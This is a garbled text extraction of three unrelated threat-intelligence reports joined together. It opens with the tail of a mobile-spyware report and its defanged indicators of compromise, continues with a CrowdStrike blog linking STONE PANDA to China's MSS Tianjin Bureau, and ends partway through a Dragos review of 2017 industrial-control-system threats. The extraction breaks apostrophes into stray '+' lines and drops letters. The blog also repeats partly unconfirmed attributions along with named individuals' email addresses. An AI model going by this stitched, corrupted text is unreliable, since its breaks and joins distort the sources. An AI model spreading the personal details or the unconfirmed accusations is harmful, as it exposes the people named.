the attacked devices and mobile vendors that were documented +in the logs: +Figure 11: A breakdown of attacked devices and mobile vendors. +While the number of victims and their characteristics are detailed above, the number of +people affected by this operation is actually much higher. This is due to the fact that the full +contact list stored in each victim +s mobile device, including full names and at least one of +their phone numbers, was also harvested by the attackers. +In addition, due to phone calls, SMS details, as well as the actual SMS messages, also +recorded by the attackers, the private information of thousands of totally unrelated users +has also been compromised. +9/10 +Check Point +s Mobile solutions can protect against this type of attack. For enterprises, read +more about Check Point +s Sand Blast Mobile, and for consumers Check Point +s Zone Alarm +Mobile, to learn how you can protect your device from malicious and invasive mobile +malware. +We wish to thank Dr. Raz Zimmt, an expert on Iran at the Institute for National Security +Studies (INSS), for his illuminating insights. +Indicators of Compromise +c168f3ea7d0e2cee91612bf86c5d95167d26e69c +0fafeb1cbcd6b19c46a72a26a4b8e3ed588e385f +f1355dfe633f9e1350887c31c67490d928f4feec +d1f70c47c016f8a544ef240487187c2e8ea78339 +162[.]248[.]247[.]172 +190[.]2[.]144[.]140 +190[.]2[.]145[.]145 +89[.]38[.]98[.]49 +Firmwaresystemupdate[.]com +Stevenwentz[.]com +Ronaldlubbers[.]site +Georgethompson[.]space +10/10 +Two Birds, One STONE PANDA +crowdstrike.com/blog/two-birds-one-stone-panda +Adam Kozy +August 30, +2018 +Introduction +In April 2017, a previously unknown group calling itself IntrusionTruth began releasing blog posts detailing individuals believed to be +associated with major Chinese intrusion campaigns. Although the group +s exact motives remain unclear, its initial tranche of information +exposed individuals connected to long-running GOTHIC PANDA (APT3) operations, culminating in a connection to the Chinese firm Boyusec ( +) and, ultimately, Chinese Ministry of State Security (MSS) entities in Guangzhou. +Recently, in July and August 2018, IntrusionTruth has returned with new reporting regarding actors with ties to historic STONE PANDA (APT10) +activity and has ultimately associated them with the MSS Tianjin Bureau ( +). Though CrowdStrike + Falcon Intelligence +currently unable to confirm all of the details provided in these most recent posts with a high degree of confidence, several key pieces of +information can be verified. +Several of the named individuals have been active registering domains as recently as June 2018, and they responded to the +IntrusionTruth blog posts by scrubbing their social media or by following IntrusionTruth +s Twitter account. +Named individuals ZHANG Shilong and GAO Qiang have significant connections to known Chinese hacking forums, and they have +sourced tools currently in use by China-based cyber adversaries. +ZHANG has registered several sites with overlapping registrant details that show both his affiliation with several physical technology +firm addresses as well as his residence in Tianjin. +Named firm Huaying Haitai has been connected to a Chinese Ministry of Industry and Information Technology (MIIT) sponsored attack +and defense competition; this is similar to GOTHIC PANDA +s ties to an active defense lab sponsored by China Information Technology +Evaluation Center (CNITSEC). +Huaying Haitai has previously hired Chinese students with Japanese language skills; this is significant, as STONE PANDA has engaged in +several campaigns targeting Japanese firms. +The MSS Tianjin Bureau is confirmed to be located at the described address, not far from many of the registrant addresses listed by +ZHANG as well the firms GAO was likely recruiting for. +More details that may further illuminate these findings and provide a higher confidence in connecting STONE PANDA to the MSS Tianjin +Bureau are likely to emerge. +Background +Throughout May 2017, using a variety of historical information and open-source intelligence (OSINT), IntrusionTruth released several blog +posts identifying several individuals connected to Boyusec. Though CrowdStrike +s Threat Intelligence team had suspected GOTHIC PANDA was +an MSS contractor for several years, the IntrusionTruth posts and subsequent research by RecordedFuture into MSS ties to the China +Information Technology Evaluation Center (CNITSEC/ +) corroborated additional details from various sources and +provided a higher degree of confidence. Confidence in these findings was further boosted when the U.S. Department of Justice named +Boyusec and several of the described individuals in an indictment, and detailed GOTHIC PANDA tactics, techniques, and procedures (TTPs) in +detail. +CrowdStrike Falcon Intelligence was able to independently verify the majority of this information and concluded that not only is CNITSEC +associated with the MSS, but its former director WU Shizhong ( +) was simultaneously dual-hatted as the director of the MSS +Technology/13th Bureau ( +)1 2 3, implying that the MSS plays a crucial role in China +s code review of foreign products and +is now able to cherry pick high-value vulnerabilities from its own capable domestic bug hunting teams. CNITSEC +s role in code review for +foreign entities has led to its access to Microsoft +s source code dating back to 2003 and the use by KRYPTONITE PANDA of a high-value +vulnerability (CVE-2018-0802), discovered by Chinese firm Qihoo 360, a month before it was publicly revealed. +WU Shizhong Presenting on the +Digital Silk Road + at the Second Wuzhen World Internet Conference in 2015 +As research into the IntrusionTruth leads on STONE PANDA continues, Falcon Intelligence has already observed some consistencies with +known MSS operations. +Sinking Like a STONE +GAO Qiang ( +Many of the personal details for GAO were scrubbed shortly after IntrusionTruth +s post introducing him went live, including his Tencent QQ +account. The blog connects him to the moniker fisherxp via an initial spear-phishing campaign from 2010 previously +attributed to STONE PANDA. Multiple sites with profile pictures appear to show the owner of the fisherxp accounts, +though this has yet to be independently confirmed as GAO. Fisherxp +s QQ shows his alternate username as +big porker +. IntrusionTruth later links GAO to several documented Uber rides to the MSS Tianjin Bureau +s office +address where both his first name, Qiang/ +, and + are used by the app to identify him and tie him to the QQ +number 420192. CrowdStrike cannot confirm the validity of these Uber receipts at this time. +However, fisherxp +s account on popular Chinese technology forum 51CTO is still active and shows that he has +downloaded not only the open-source DarkComet RAT and numerous password cracking tools, but more +importantly, several favorite tools used by a plethora of known Chinese cyber adversaries including Gh0st RAT 3.6, +zxarps (an ARP-spoofing tool by legacy hacker LZX), and lcx.exe (a port-forwarding tool by legacy hacker LCX)4. +ZHANG Shilong ( +ZHANG was originally introduced by IntrusionTruth as a reciprocal follower of fisherxp +s Twitter account via his own @baobeilong account. +Baobeilong ( +Baby Dragon +) also maintained a GitHub account that had forked both the Quasar and Trochilus +RATs, two open-source tools historically used by STONE PANDA, but the account has since been scrubbed. This +information was verified by CrowdStrike before being removed completely. Falcon Intelligence recently +independently conducted detailed analysis of the RedLeaves malware used to target numerous Japanese defense +groups and found it was directly sourced from Trochilus code, but it has undergone several evolutions and +contains prefixes suggesting it could also be used to target Russia and the DPRK. There is no conclusive evidence at +this time that RedLeaves is solely attributed to STONE PANDA. +Baobeilong did maintain a Flickr account with numerous pictures that proved key in identifying his location later, +similar to how cpyy +s photos helped identify his affiliation to the People +s Liberation Army (PLA) in CrowdStrike +PUTTER PANDA report. +IntrusionTruth then drew connections from baobeilong +s other online accounts to registrant details for xiaohong[.]org, which dated back to +2007 and revealed ZHANG +s full name +ZHANG Shilong. From there, a trail of overlapping registrant details reveals ZHANG +s hanzi characters +for his name ( +), likely one of his personal home addresses, potential work addresses and several email addresses: +long@xiaohong[.]org +baobei@xiaohong[.]org +atreexp@yahoo[.]com.cn +robin4700@foxmail[.]com +eshilong@vip.qq[.]com +Specifically tracing registrant details from atreexp + robin4700 + eshilong shows that ZHANG was active registering sites as recently as June 5, +2018, including a personal blog where his picture and name features prominently along with several technology-related blog posts. +A picture from baobeilong +s Flickr account shows a fire at the Tianjin Medical Center 120 +Laoying Baichen Instruments +The original blog post on GAO lists his contact information in recruitment postings for two separate companies, one of which is Laoying +Baichen Instruments (characters unknown at the time of this writing). No records could be found for such a firm, however, IntrusionTruth lists +the address associated with it as Room 1102, Guanfu Mansion, 46 Xinkai Road, Hedong District, Tianjin ( +1102). +During the course of investigating Laoying and the Guanfu mansion, Falcon Intelligence noticed that the Guanfu Mansion is also the +registered address of a firm called Tianjin Henglide Technology Co., Ltd. ( +), which is listed as one of only a few +review +centers + certified by CNITSEC in Tianjin5. Laoying and Henglide are listed as being on different floors, however having a CNITSEC review center +in the same building is noteworthy given CNITSEC +s connection to MSS and previous linkage to Boyusec/GOTHIC PANDA. +Zhang is believed to have taken the photo of the fire from the Wanchan Meizhuan Mansion. This is relatively close to both the Yuyang Complex (one of Zhang +s listed +registrant addresses) and the Guanfu Mansion, Laoying Baichen +s listed address. +Tianjin Huaying Haitai Science and Technology Development Company +The other firm GAO appears to have been recruiting for is Huaying Haitai ( +). As the IntrusionTruth blog post +mentions, it is a registered firm with two listed representatives, Fang Ting ( +) and Sun Lei ( +), and a listed address of 1906 Fuyu Mansion +1-1906). +Searches for more information on Huaying Haitai turned up two interesting government documents. One is a recruitment Excel sheet +detailing recent graduates, their majors and their new employers and addresses. Huaying Haitai is listed as having hired a recently graduated +female student from Nankai University in 2013 who majored in Japanese. This is interesting considering STONE PANDA +s extensive targeting +of Japanese defense firms after this time period, but it is by no means conclusive evidence that the firm is connected to STONE PANDA. +The second government document lists Huaying Haitai as the co-organizer of a Network Security Attack and Defense competition with the +Ministry of Industry and Information Technology +s (MIIT) national training entity, NSACE 6. It was open for all students of Henan Province. +NSACE appears to be a national education body that teaches network information security, including offensive activity 7. This information is +particularly interesting given Boyusec +s previous work at CNITSEC +s Guangdong subsidiary setting up a joint active defense lab8. It suggests +that these technology firms act as both shell companies and recruitment grounds for potential MSS use in cyber operations. +MSS Tianjin Bureau +The most recent IntrusionTruth post assesses that GAO +s Uber rides frequently took him from Huaying +s address at the Fuyu Mansion to 85 +Zhujiang Road ( +When observed closely, the compound is a striking one complete with towers, a fenced perimeter with surveillance cameras, guarded +entrances, and a building with a significant number of satellite dishes. +There are no markers on the building and no government listed address; however, it is apparently difficult for locals to determine where the +Tianjin Bureau +s location is as well. There are several Baidu questions asking what transportation routes are best to get to that specific +address. Three separate ones specifically mention the 85 Zhujiang Road address as the headquarters for the MSS +s Tianjin Bureau and the +difficulty in finding its location9 10 11 . +As with most cyber-enabled operations, satellite arrays are often indicative of installations with significant signals intelligence (SIGINT) +capabilities. The Tianjin Bureau appears to have the potential for such capabilities, housing several large arrays that appear to have existed +since at least January 2004. +Barely visible satellite dishes from the street view of 85 Zhujiang Road outside the compound +Conclusion +There are still significant intelligence gaps that prevent Falcon Intelligence from making an assessment about STONE PANDA +s potential +connections to the MSS Tianjin Bureau with a high degree of confidence. However, additional information is likely to materialize either directly +from IntrusionTruth or from other firms in the infosec community who are undoubtedly looking at this material as well and may have unique +insight of their own. Ultimately, IntrusionTruth +s prior releases on GOTHIC PANDA proved accurate and led to a U.S. Department of Justice +indictment resulting in the dismantling of Boyusec. From their latest post, which contains GAO +s Uber receipts, it is clear the group +information likely goes beyond merely available OSINT data. +It cannot be ignored that there are striking similarities between the entities associated with GOTHIC PANDA and the actors and firms +mentioned in the blogs about STONE PANDA. In addition, FalconIntelligence notes that following the late 2015 Sino-U.S. brief cyber detente, +much of the responsibility for western cyber intrusion operations was handed to the MSS as the PLA underwent an extensive reform that is +still currently underway, and which is consolidating its military cyber forces under the Strategic Support Force. +Though the detente saw an initial drop in Chinese intrusion activity, it has steadily been increasing over the past several years, with a majority +of the intrusions into western firms being conducted by suspected contractors. These adversaries are tracked by CrowdStrike as GOTHIC +PANDA, STONE PANDA, WICKED PANDA, JUDGMENT PANDA, and KRYPTONITE PANDA. Many of these adversaries have begun targeting +supply chain and upstream providers to establish a potential platform for future operations and enable the collection of larger sets of data. +While the APT1, PUTTER PANDA, and Operation CameraShy reports all exposed PLA units at a time when Chinese military hacking against +western firms was rampant, the attention has now swung toward identifying MSS contractors. The exposure of STONE PANDA as an MSS +contractor would be another blow to China +s current cyber operations given STONE PANDA +s prolific targeting of a variety of sectors, and may +prompt an additional U.S. investigation at a tenuous time for Sino-U.S. relations during an ongoing trade war. However, it is important to note +that such public revelations often force these actors to cease operations, improve their operational security (OPSEC), and then return stronger +than before. As such, CrowdStrike Falcon Intelligence assesses that although Boyusec may have shuttered, elements of GOTHIC PANDA are +likely to still be active. The same is likely to be true for STONE PANDA following a period of silence. +The activities of STONE PANDA impact entities in the Aerospace & Defense, Government, Healthcare, Technology, Telecommunications +Services of several nations. +For more information on how to incorporate intelligence on threat actors like STONE PANDA into your security strategy, please visit the Falcon +Intelligence product page. +Footnotes +1. http://kjbz.mca.gov[.]cn/article/mzbzhzcwj/201106/20110600157934.shtml +2. http://bjgwql[.]com/a/hezuojiaoliu/2011/0422/288.htm +3. http://alumni.ecnu.edu[.]cn/s/328/t/528/3b/02/info80642.htm +4. http://down.51cto[.]com/424761/down/1/ +5. http://www.djbh[.]net/webdev/web/LevelTestOrgAction.do?p=nlbdLv3&id=402885cb35d11a540135d168e41e000c +6. http://rjzyjsxy.zzia.edu[.]cn/picture/article/25/27/01/6c8b24a143f9959a85301d4527f0/801f81cf-8f30-4aa4-8428-7f9d4e778e76.doc +7. http://www.yingjiesheng[.]com/job-001-607-536.html +8. https://www.recordedfuture.com/chinese-mss-behind-apt3/ +9. https://zhidao.baidu[.]com/question/1046720364336588899.html? +fr=iks&word=%CC%EC%BD%F2%CA%D0%D6%E9%BD%AD%B5%C085%BA%C5%CA%C7%CA%B2%C3%B4%B5%A5%CE%BB%C2%EF&ie=gbk +10. https://zhidao.baidu[.]com/question/146035392.html? +fr=iks&word=%CC%EC%BD%F2%CA%D0%D6%E9%BD%AD%B5%C085%BA%C5%CA%C7%CA%B2%C3%B4%B5%A5%CE%BB%C2%EF&ie=gbk +11. https://zhidao.baidu[.]com/question/223614321.html? +fr=iks&word=%CC%EC%BD%F2%CA%D0%D6%E9%BD%AD%B5%C085%BA%C5%CA%C7%CA%B2%C3%B4%B5%A5%CE%BB%C2%EF&ie=gbk +INDUSTRIAL CONTROL +SYSTEM THREATS +Industrial Control System Threats +, Dragos, Inc., Hanover, MD, 1 March 2018 +TABLE OF CONTENTS +2017: A YEAR IN THREATS . . . . . . . . . . . . . . . . . 01 +INDUSTRIAL CONTROL SYSTEM THREATS . . . . . . . 02 +2017 ICS THREAT REVIEW +2017 ICS THREATS . . . . . . . . . . . . . . . . . . . . . . 03 +A SUMMARY +NEW ICS-FOCUSED MALWARE . . . . . . . . . . . . . . . . . . 04 +TRADITIONAL IT MALWARE CRIPPLING +OPERATIONAL NETWORKS . . . . . . . . . . . . . . . . . . . . 04 +ADVERSARIES STAYING BUSY: +ICS-FOCUSED ACTIVITY . . . . . . . . . . . . . . . . . . . . . . 04 +RECOMMENDATIONS . . . . . . . . . . . . . . . . . . . . 05 +2017 ICS THREATS IN DETAIL . . . . . . . . . . . . . . . 06 +CRASHOVERRIDE . . . . . . . . . . . . . . . . . . . . . . . . . . 07 +TRISIS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 08 +DISRUPTIVE IT MALWARE . . . . . . . . . . . . . . . . . . . . . 09 +ACTIVITY GROUPS . . . . . . . . . . . . . . . . . . . . . . 11 +ELECTRUM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 +COVELLITE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 +DYMALLOY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 +CHRYSENE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 +MAGNALLIUM . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +DRAGOS +A YEAR IN THREATS +2017 +2017 represents a defining year in ICS security: two major and unique +ICS-disruptive attackers were revealed; five distinct activity groups +targeting ICS networks were identified; and several large-scale IT +infection events with ICS implications occurred. +While this represents a significant increase in +known + ICS activity, Dragos +assesses we are only scratching the surface of ICS-focused threats. 2017 +may therefore represent a break-through moment, as opposed to a highwater mark + with more activity to be expected in 2018 and beyond. +While our visibility and efforts at hunting are increasing, we recognize +that the adversaries continue to grow in number and sophistication. By +identifying and focusing on adversary techniques + especially those which +will be required in any intrusion event + ICS defenders can achieve an +advantageous position with respect to identifying and monitoring future +attacks. This report seeks to inform ICS defenders and asset owners on +not just known attacks, but to provide an overview for how an adversary +must and will operate in this environment moving forward. By adopting +a threat-centric defensive approach, defenders can mitigate not just the +adversaries currently known, but future malicious actors as well. +Joe Slowik +Adversary Hunter | Dragos, Inc. +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +PERSPECTIVE +| INDUSTRIAL CONTROL SYSTEM THREATS +2017 ICS THREAT REVIEW +2017 was a watershed year in industrial control systems (ICS) security largely due to +the discovery of new capabilities and a significant increase in ICS threat activity groups. +Cybersecurity risks to the safe and reliable operation of industrial control systems have +never been greater. While numerous, incidental infections occur in industrial networks +on a regular basis, ICS-specific or ICS-tailored malware is rarer. +rior to 2017 only three families of ICS-specific malware were known: STUXNET, BLACKENERGY +2, and HAVEX. In 2017 the world learned of two new ICS-specific malware samples: TRISIS and +CRASHOVERRIDE. Both of these samples led to industry firsts. CRASHOVERRIDE was the first +malware to ever specifically target and disrupt electric grid operations and led to operational +outages in Kiev, Ukraine in 2016 (although it was not definitively discovered until 2017). TRISIS is +the first malware to ever specifically target and disrupt safety instrumented systems (SIS), and +is the first malware to ever specifically target, or accept as a potential consequence, the loss of +human life. The impact of these events cannot be understated. +The number of adversaries targeting control systems and their investment in ICS-specific capabilities +is only growing. There are now five current, active groups targeting ICS systems + far more than our +current biases with respect to the skill, dedication, and resources required for ICS operations would +have us believe possible. These events and continued activity will only drive a hidden arms race for +other state and non-state actors to mature equivalent weapons to affect industrial infrastructure and +ensure parity against possible adversaries. +We regrettably expect ICS operational losses and likely safety events to continue into 2018 and the +foreseeable future. +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +| 2017 ICS THREATS +A SUMMARY +2017 featured multiple, concerning developments within the ICS security space. On a general +level, wormable ransomware such as WannaCry and NotPetya provided notice to ICS owners +and operators that industrial networks are far more connected to the IT environment than +many realized. While significant and + for some organizations + costly, 2017 also featured some +targeted events led by activity groups focused exclusively on the ICS environment. +Previously, defenders perceived ICS threat actors as rare with significant technical limitations +or hurdles to overcome. But 2017 demonstrated + either because ICS is an increasingly enticing +target, or because researchers and defenders are merely +looking harder + that these groups +are more common than previously thought. Toward that end, Dragos identified five active, ICSfocused groups that displayed various levels of activity throughout 2017. While only one has +demonstrated an apparent capability to impact ICS networks through ICS-specific malware +directly, all have engaged in at least reconnaissance and intelligence gathering surrounding the +ICS environment. +Overall, the scope and extent of malicious activity either directly targeting or gathering information +on ICS networks increased significantly throughout 2017. +As a result of these events, Dragos has been able to analyze and develop strategies +for defending and mitigating various types of attack against ICS assets. +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +| NEW ICS-FOCUSED MALWARE +2017 witnessed a dramatic expansion in ICS security activity and awareness. During the year, +Dragos identified and analyzed CRASHOVERRIDE, responsible for the Ukraine power outage +event that occurred in December of 2016, and then discovered and analyzed TRISIS, the first ICS +malware designed to target industrial safety systems in November. Considering that defenders +knew of only three ICS-focused malware samples before 2017 + STUXNET (pre-2010), +BLACKENERGY2 (2012), and HAVEX (2013), the emergence and discovery of two more this year +indicates that adversaries are focusing more effort and resources on ICS targeting, and those +capabilities are expanding. +| TRADITIONAL IT MALWARE CRIPPLING OPERATIONAL NETWORKS +Early 2017 saw the release of the EternalBlue vulnerability (MS17-010) and the subsequent +WannaCry ransomware worm. The infection of operational networks with this ransomware +and operational disruption illustrated the symbiotic relationship between the two networks. +While engineers and operations staff have long held the separation between +business + and +operational + environments as the ICS model, the border is increasingly permeable and therefore +operational ICS networks are facing traditional business threats. +Closely following the WannaCry ransomware adversaries launched NotPetya. What was unique +is that this was a wiper masquerading as ransomware appearing to initially target Ukraine +business and financial sectors. In addition to weaponizing the EternalBlue exploit, NotPetya +leveraged credential capture and replay to provide multiple means of propagation, resulting in +rapid spreading to organizations well-removed from Ukrainian business sectors. Perhaps the +most sobering example is Maersk, which is estimated to have lost up to $300 million USD while +also having to rebuild and replace most of its IT and operations network.1 +To combat malware infection events such as the above examples, Dragos pursues +commodity +non- ICS-focused malware through the MIMICS project: Malware In Modern ICS Environments. By +aggressively hunting for standard IT threats that can pose a specific danger to ICS environments, +Dragos works to provide early warning and defensive guidance on potentially overlooked threats. +| ADVERSARIES STAYING BUSY: ICS-FOCUSED ACTIVITY +Dragos currently tracks five activity groups targeting ICS environments: either with an ICSspecific capability, such as CRASHOVERRIDE or with an intention to gather information and +intelligence on ICS-related networks and organizations. These groups have remained relatively +constant regarding overall activity throughout the year, and Dragos is confident that additional +unknown events have occurred. +https://www.itnews.com.au/news/maersk-had-to-reinstall-all-it-systems-after-notpetya-infection-481815 +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +| RECOMMENDATIONS +An ICS intelligence-driven approach to threat intelligence is not universal. Indicators of compromise +are not intelligence and will not save any organization. Organizations must understand and consume +ICS-specific threat intelligence to monitor for adversary behaviors and tradecraft instead of simply +detecting changes, anomalies, or after-the-fact indicators of compromise.2 +DETECTION-IN-DEPTH +ASSUME BREACH +Just as defense-in-depth is a necessary +component of modern cybersecurity, +detection-in-depth must become a necessary +component across all industrial control levels. +Enhanced monitoring must especially Include +any permeable +barriers + such as the IT-OT +network gap. ICS networks are increasingly +connected not only to the IT network but +also directly to vendor networks and external +communication sources leaving monitoring of +the IT environments alone entirely inefficient. +Disruptive ICS-specific malware is real, +traditional IT threats now regularly cross +the +IT-OT + divide, and ICS knowledgeable +activity groups are targeting industrial +infrastructure directly instead of just the +IT networks of industrial companies. +Gone are the days of protection via a +segmented network + detection is the +first component of an assume- breach +model + you can only respond to what +you can see. +ICS-SPECIFIC INVESTIGATIONS +RESILIENCE AGAINST CYBER ATTACK +In the event of a breach or disruption there +must be ICS-specific investigation capabilities +and ICS-specific incident response plans. +This is the only effective way of identifying +root cause analysis and reducing mean time +to recovery in the operations environments +when facing industrial specific threats. +Resiliency analysis and engineering +surrounding industrial processes must +include cyber-attacks. For example, +safety systems must be designed and +operated with the understanding that +they may now be purposefully attacked +and undermined. +To understand ICS threat intelligence read the Dragos whitepaper +Industrial Control Threat Intelligence +https://dragos.com/media/Industrial-Control-Threat-Intelligence-Whitepaper.pdf +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +2017 +ICS THREATS +IN DETAIL +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +| CRASHOVERRIDE +Although taking place in late December 2016, the ICS +security community did not fully understand the extent +and significance of the 2016 Ukrainian power outage +until later in 2017. After identifying samples, Dragos +determined that specifically-tailored malware caused the +2016 event by manipulating the breakers at the target +substation in Ukraine. +At the time, this represented only the second instance +where malware was utilized to directly impact an ICS +device or process with little human intervention + the +other example being the Stuxnet worm. In this case, the +adversary developed a modular attack framework that +combined a reasonably protocol-compliant manipulation +program to create an ICS impact (opening breakers +to generate a power outage), with malicious wiper +functionality to impede and delay system recovery. +Further investigation identified a distinct activity group behind the CRASHOVERRIDE +event, as both a developer and attacker: ELECTRUM. As detailed below, ELECTRUM +is assessed to be a highly sophisticated, well-resourced activity group that remains +active. +Defenders lack any knowledge of CRASHOVERRIDE itself or similar capabilities used after the +December 2016 event. While CRASHOVERRIDE, as deployed in the Ukraine attack, is not capable +of impacting environments dissimilar to the equipment and protocol setup at the target utility, +the framework and method of operations deployed provide an example for other adversaries to +follow. Examples of new +tradecraft + to emerge from CRASHOVERRIDE include: leveraging ICS +protocols to create a malicious impact; creating modular malware frameworks designed to work +with multiple protocols; and incorporating automatically-deployed wiper functionality chained to +an ICS impact. +Thus, even if CRASHOVERRIDE itself cannot be used again outside of very narrow circumstances, +the tactics, techniques, and procedures (TTPs) employed by it can be adapted to new +environments. By identifying these TTPs and building defenses around them, organizations can +prepare themselves for the next CRASHOVERRIDE-like attack, rather than focusing exclusively +on the specific events from December 2016 leaving the enterprise open and undefended against +even minor variations in the attack. +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +| TRISIS +TRISIS is the third-recorded ICS attack executed via malware, the previous two being Stuxnet +and CRASHOVERRIDE (see above). TRISIS is a specifically-targeted program designed to upload +new ladder logic to Schneider Electric Triconex safety systems. The malware utilizes a speciallycrafted search and upload routine to enable overwriting ladder logic within memory based on a +deep understanding of the Triconex product. +Unique compared to past ICS events, TRISIS targeted safety instrumented systems (SIS), those +devices used to ensure system remain in and fail to a +safe + state within the physical environment. +By targeting SIS, an adversary can achieve multiple, potentially dangerous impacts, ranging from +extensive physical system downtime to false safety alarms, physical damage, and destruction. +Additionally, by targeting a SIS the adversary must either intend or willfully accept the loss of +human life from the operation. +Although extremely concerning both as an attack and as an extension of ICS +operations to cover SIS devices, TRISIS represents a highly-targeted threat. +Specifically, TRISIS is designed to target a specific variant of Triconex systems. +Additionally, an adversary would need to achieve extensive +access +to and +penetration of a target ICS network to be in a position to deliver a TRISIS-like attack. +While TRISIS is profoundly concerning and represents a +significant new risk for defenders to manage, TRISIS-like +attacks require substantial investments in both capability +development and network access before adversary +success. +While ICS defenders and asset owners should note the +above regarding TRISIS + immediate impact, in the longerterm TRISIS is likely to have a concerning effect on the +ICS security space. Specifically, while TRISIS itself is +not portable to any environment outside of the specific +product targeted in the attack, the TRISIS tradecraft has +created a +blueprint + for adversaries to follow concerning +SIS attacks. This is not bound to any specific vendor and +vendors such as ABB maturely and rightfully stated that +similar styled attacks could equally impact their products. +Furthermore, the very extension of ICS network attack to +SIS devices sets a worrying precedent as these critical +systems now become an item for adversary targeting. +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +| DISRUPTIVE IT MALWARE +IT malware infecting and causing issues in +operational networks is not a new phenomenon. +Tracking the metrics related to these infections +has always been difficult due to collection +issues from these environments. This led to very +low metrics, such as the ICS- CERT +s consistent +~200 incidents each year, to very high metrics +including some vendors claiming upwards +of 500,000 infections a year. For this reason, +Dragos created the Malware in Modern ICS +(MIMICS) project in late 2016 and running +through early 2017.3 The research performed +a census-styled metrics count of infections in +ICS networks and identified around 3,000 unique +industrial infections during the research period. +This led to the estimate of around 6,000 unique +infections in industrial environments every year +including various types of viruses, trojans, and +worms. While any of these infections could +cause issues in operational environments none +represented the type of disruption that would +come from the latest generation of ransomware +worms. +WannaCry appeared in May 2017 following the +weaponization of the MS17-010 vulnerability +in the Microsoft Server Message Block (SMB) +protocol (EterenalBlue), released as part of +the +Shadow Brokers + continual leak of alleged +National Security Agency hacking tools. +WannaCry itself was a form of ransomware +designed to self-propagate via the MS17-0104 +vulnerability, resulting in not only a quick spread +globally but also the systematic infection of +networks due to the malware +wormable +nature. +https://dragos.com/blog/mimics/ +https://docs.microsoft.com/en-us/security- updates/securitybulletins/2017/ms17-010 +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +While ransomware is typically not a concern for ICS defenders, +WannaCry challenged the traditional view due to its selfpropagating method exploiting a common ICS communication +mechanism (SMB). +Various data transfer functions, such as moving data from the ICS +network (e.g., historians) to the business network for business +intelligence purposes, rely upon SMB for functionality. Combined +with poor patch management and enabling older, vulnerable forms of +SMB instead of the newer SMB version 3 variant, hosts within the ICS +network were not only reachable through pre-existing connections to +the IT network but vulnerable as well. +The result of the above circumstances was WannaCry spreading into +and impacting ICS environments, including automotive manufacturers +and shipping companies. The impact to operations from system loss +due to encryption certainly varies, but in ICS environments the damage +potential is significant regarding lost production and capability. +Furthermore, WannaCry was not the only ransomware type to +implement worm-like functionality, with additional malware NotPetya +and BadRabbit emerging over the course of 2017. Of these, NotPetya +was especially concerning for several reasons: first, it included +multiple means of propagation through credential capture and reuse aside from relying solely on the MS17- 010 vulnerability; second, +the malware was effectively a +wiper + as encrypted filesystems could +not be recovered. Although initially targeting Ukrainian enterprises, +NotPetya soon spread to many organizations resulting in significant +system impacts and, in several documented cases, production losses +in ICS environments. +Although not targeted at ICS environments, the impact of WannaCry and +related malware demonstrates the capability for IT-focused malware +to migrate into ICS environments. While patching may not be a viable +solution for ICS defenders in cases such as MS17-010, strengthening +and hardening defenses at porous boundaries could help. +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +ACTIVITY GROUPS +Dragos tracks and organizes related threat activity as +activity +groups +: essentially, combinations of behavior or techniques, +infrastructure, and victimology.5 This process avoids the +potentially messy and hard-to- prove traditional attribution +route + aligning activity to specific actors or nation-states + while also providing concrete benefits to defenders by +organizing observed attackers into collections of identified +actions. +Within the scope of ICS network defense, Dragos currently +tracks five activity groups that have either demonstrated the +capability to attack ICS networks directly or have displayed +an interest in reconnaissance and gaining initial access into +ICS-specific entities. +The concept of activity groups comes from The Diamond Model of Intrusion Analysis: http://www.diamondmodel.org/ +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +ELECTRUM +LECTRUM is responsible for the 2016 Ukrainian power outage event, created +through CRASHOVERRIDE. In addition to this signature, high-profile event, Dragos +has linked ELECTRUM with another group, the SANDWORM Advanced Persistent +Threat (APT) (iSight), responsible for the 2015 Ukrainian outage. ELECTRUM +previously served as the +development group + facilitating some SANDWORM activity + including possibly the 2015 Ukrainian power outage + but moved into a +development and operational role in the CRASHOVERRIDE event. +While ELECTRUM does not have any other high-profile events to its name as of this +writing, Dragos has continued to track on- going, low-level activity associated with +the group. Most notably, 2017 did not witness another Ukrainian power grid event, +unlike the previous two years. Based on available information, ELECTRUM remains +active, but evidence indicates the group may have +moved on + from its previous +focus exclusively on Ukraine. +While past ELECTRUM activity has focused exclusively on Ukraine, ongoing activity +and the group +s link to SANDWORM provide sufficient evidence for Dragos to assess +that ELECTRUM could be +re-tasked + to other areas depending on the focus of their +sponsor. +Given ELECTRUM +s past activity and ability to successfully operate within the +ICS environment, Dragos considers them to be one of the most significant and +capable threat actors within the ICS space. +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +COVELLITE +OVELLITE First emerged in September 2017, when Dragos identified a +small, but highly targeted, phishing campaign against a US electric grid +company. The phishing document and subsequent malware + embedded +within a malicious Microsoft Word document + both featured numerous +techniques to evade analysis and detection. Although the attack identified +is particular to the one targeted entity, Dragos soon uncovered attacks with +varying degrees of similarity spanning Europe, North America, and East Asia. +Common to all of these observed COVELLITE-related instances was the use +of similar malware functionality, including the use of HTTPS for command and +control (C2), and the use of compromised infrastructure as C2 nodes. +As Dragos continued tracking this group, we identified similarities in both +infrastructure and malware with the LAZARUS GROUP APT6 (Novetta), also referred +to as ZINC (Microsoft), and HIDDEN COBRA (DHS). This activity group has variously +been associated with destructive attacks against Sony Pictures7 and to bitcoin theft +incidents in 2017.8 While Dragos does not comment on or perform traditional +nation-state attribution, the combination of technical ability plus the willingness to +launch destructive attacks displayed by the linked group LAZARUS make COVELLITE +an actor of significant interest. +Dragos has yet to identify another grid- specific targeting event since September 2017 +although similar malware and related activity continue. 